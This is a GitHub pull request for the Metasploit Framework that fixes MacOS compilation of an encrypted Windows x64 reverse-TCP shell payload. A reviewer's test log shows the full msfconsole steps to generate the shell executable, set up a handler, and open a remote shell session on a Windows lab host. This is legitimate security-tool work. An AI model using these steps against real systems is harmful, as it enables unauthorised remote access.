Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Compiling Encrypted Payloads on MacOS #15703

Merged
merged 1 commit into from
Sep 27, 2021

Conversation

space-r7
Copy link
Contributor

@space-r7 space-r7 commented Sep 23, 2021

Description

Generating an encrypted payload on MacOS will result in an error:

msf6 > use payload/windows/x64/encrypted_shell/reverse_tcp
msf6 payload(windows/x64/encrypted_shell/reverse_tcp) > generate -f exe LHOST=192.168.140.1
[-] Payload generation failed: Payload did not compile. Check the logs for further information.
msf6 payload(windows/x64/encrypted_shell/reverse_tcp) > log
...
[09/23/2021 15:19:17] [e(0)] core: /usr/local/Cellar/mingw-w64/9.0.0_2/toolchain-x86_64/bin/x86_64-w64-mingw32-ld: /var/folders/j3/_jj69l4d1k3_jsxkb44qj0d00000gq/T/reverse_pic_stager20210923-36761-xw7bgl.exe:.text: section below image base

This adds a linker option to pin the image base to 0x0 to ensure that compilation doesn't error out. This also adds an advanced option, ShowCompileCMD, that will print the compilation command used.

Verification

  • Generate an encrypted payload either through msfconsole or msfvenom on MacOS
  • Run the payload on a Windows target

also add advanced option to display
command used in compiling encrypted payloads
@space-r7 space-r7 added the bug label Sep 23, 2021
@jheysel-r7 jheysel-r7 self-assigned this Sep 27, 2021
@jheysel-r7
Copy link
Contributor

Thanks for the great PR @space-r7! I've reviewed the changes and don't see any need for improvements. Testing results were as expected:

msf6 > use payload/windows/x64/encrypted_shell/reverse_tcp
msf6 payload(windows/x64/encrypted_shell/reverse_tcp) > set ShowCompileCMD true
ShowCompileCMD => true
msf6 payload(windows/x64/encrypted_shell/reverse_tcp) > generate -f exe LHOST=192.168.123.1 LPORT=4444 -o shell.exe
x86_64-w64-mingw32-gcc /var/folders/l7/f3z1n8_53bn3hypxjrh0278h0000gn/T/reverse_pic_stager20210927-20452-3rzj58.c -I /Users/jheysel/rapid7/metasploit-framework/data/headers/windows/c_payload_util -o /var/folders/l7/f3z1n8_53bn3hypxjrh0278h0000gn/T/reverse_pic_stager20210927-20452-3rzj58.exe -ffunction-sections -fno-asynchronous-unwind-tables -fno-ident -O2 -nostdlib -Wl,--image-base=0x0,--no-seh,-s,-T/Users/jheysel/rapid7/metasploit-framework/data/utilities/encrypted_payload/func_order64.ld
[*] Writing 9216 bytes to shell.exe...


Drop shell on Window’s host, setup handler and execute:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload payload/windows/x64/encrypted_shell/reverse_tcp
payload => windows/x64/encrypted_shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.123.1
LHOST => 192.168.123.1

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Sending stage (3584 bytes) to 192.168.123.130
[*] Encrypted reverse shell session 1 opened (192.168.123.1:4444 -> 192.168.123.130:49719) at 2021-09-27 13:13:07 -0400


C:\Users\Administrator\Desktop>whoami
whoami
desktop-13bfu78\administrator

C:\Users\Administrator\Desktop>systeminfo
systeminfo


Host Name:                 DESKTOP-13BFU78
OS Name:                   Microsoft Windows 10 Education
OS Version:                10.0.19041 N/A Build 19041
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
...

@jheysel-r7 jheysel-r7 merged commit 8f36d67 into rapid7:master Sep 27, 2021
@space-r7 space-r7 deleted the encrypt-shell-comp-fix branch September 27, 2021 18:04
@space-r7
Copy link
Contributor Author

Thanks so much for landing!

@erran-r7
Copy link
Contributor

erran-r7 commented Oct 1, 2021

Release Notes

Updates payload/windows/x64/encrypted_shell/reverse_tcp to no longer crash on MacOS. Additionally adds an advanced option, ShowCompileCMD, that prints the compilation command used.

@erran-r7 erran-r7 added the rn-fix release notes fix label Oct 1, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants